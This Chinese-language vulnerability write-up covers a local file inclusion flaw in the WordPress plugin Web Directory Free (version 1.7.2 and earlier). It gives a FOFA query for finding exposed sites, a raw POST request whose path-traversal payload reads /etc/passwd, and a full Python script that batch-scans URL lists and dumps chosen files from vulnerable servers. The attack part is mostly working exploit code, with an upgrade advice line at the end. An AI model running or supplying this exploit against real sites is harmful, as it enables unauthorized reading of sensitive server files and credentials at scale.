免责申明:
本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。
0x01 产品描述:
Web Directory Free 是一款用于 WordPress 的免费插件,主要用于创建和管理在线目录网站。它允许用户轻松地添加、管理和展示各种目录条目,例如企业列表、服务提供商、地点信息等。这款插件非常适合需要构建商业目录、黄页网站或类似平台的用户。
0x02 漏洞描述:
Web Directory Free插件在函数中使用参数之前无法验证参数,从而导致本地文件包含 (LFI)。这允许未经身份验证的攻击者读取服务器上的敏感文件。
0x03 影响版本:
Web Directory Free <= 1.7.2
0x04 搜索语句:
Fofa:body="/wp-content/plugins/web-directory-free"
0x05 漏洞复现:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: your-ip
from_set_ajax=1&action=w2dc_controller_request&template=../../../../../etc/passwd
0x06 批量检测脚本:
批量检测:
python poc.py -l url.txt -f [读取路径]
单个检测:
python poc.py -u your-ip -f [读取路径]
默认路径:
python poc.py -u your-ip
import argparse
import re
import requests
from packaging import version
import urllib3
from urllib.parse import urljoin
# 禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def banner():
print("\033[36m" + """
****************************************************
* WordPress插件漏洞检测工具 *
* Web Directory Free插件LFI漏洞检测 *
* 版本: 1.7.2及以下存在漏洞 *
* 作者: iSee857 *
****************************************************
""" + "\033[0m")
def read_file(file_path):
with open(file_path, 'r') as file:
urls = file.read().splitlines()
return urls
def get_plugin_version(url: str) -> str:
version_url = urljoin(url, "/wp-content/plugins/web-directory-free/readme.txt")
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
}
try:
response = requests.get(version_url, headers=headers, verify=False, timeout=10)
response.raise_for_status()
match = re.search(r"Stable tag:\s*(\d+\.\d+\.\d+)", response.text)
if match:
return match.group(1)
else:
print(f"[!] 无法从 {url} 的 readme.txt 中提取版本信息。")
return None
except requests.RequestException as e:
print(f"[!] 获取 {url} 的版本信息时出错: {e}")
return None
def is_vulnerable(version_str: str) -> bool:
vulnerable_version = "1.7.2"
return version.parse(version_str) <= version.parse(vulnerable_version)
def exploit_vulnerability(url: str, target_file: str) -> None:
exploit_path = urljoin(url, "/wp-admin/admin-ajax.php")
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
}
payload = f"from_set_ajax=1&action=w2dc_controller_request&template={target_file}"
try:
response = requests.post(exploit_path, headers=headers, data=payload, verify=False, timeout=10)
response.raise_for_status()
if response.status_code == 200:
print(f"[+] 漏洞利用成功!目标文件内容如下:\n{response.text}")
else:
print(f"[-] 漏洞利用失败,服务器返回状态码: {response.status_code}")
except requests.RequestException as e:
print(f"[!] 漏洞利用过程中出错: {e}")
def check_single_url(url: str, target_file: str) -> None:
print(f"\n[+] 正在检测目标: {url}")
plugin_version = get_plugin_version(url)
if plugin_version:
print(f"[*] 检测到插件版本: {plugin_version}")
if is_vulnerable(plugin_version):
print("[+] 该站点存在漏洞!")
exploit_vulnerability(url, target_file)
else:
print("[-] 该站点不存在漏洞。")
else:
print("[-] 无法获取插件版本信息,跳过检测。")
def main():
banner()
parser = argparse.ArgumentParser(description="检测Web Directory Free WordPress插件中的LFI漏洞(版本1.7.2及以下)。")
parser.add_argument("--url", "-u", help="目标URL(例如:http://example.com)")
parser.add_argument("--file", "-f", default="../../../../../etc/passwd", help="要读取的目标文件(默认:/etc/passwd)")
parser.add_argument("--list", "-l", help="包含多个URL的文件路径")
args = parser.parse_args()
if not args.url and not args.list:
print("[-] 请提供目标URL或包含URL列表的文件。")
return
if args.url:
check_single_url(args.url, args.file)
elif args.list:
urls = read_file(args.list)
for url in urls:
check_single_url(url, args.file)
if __name__ == "__main__":
main()
0x07 修复建议:
将 Web Directory Free 插件升级到版本 1.7.3 或更高版本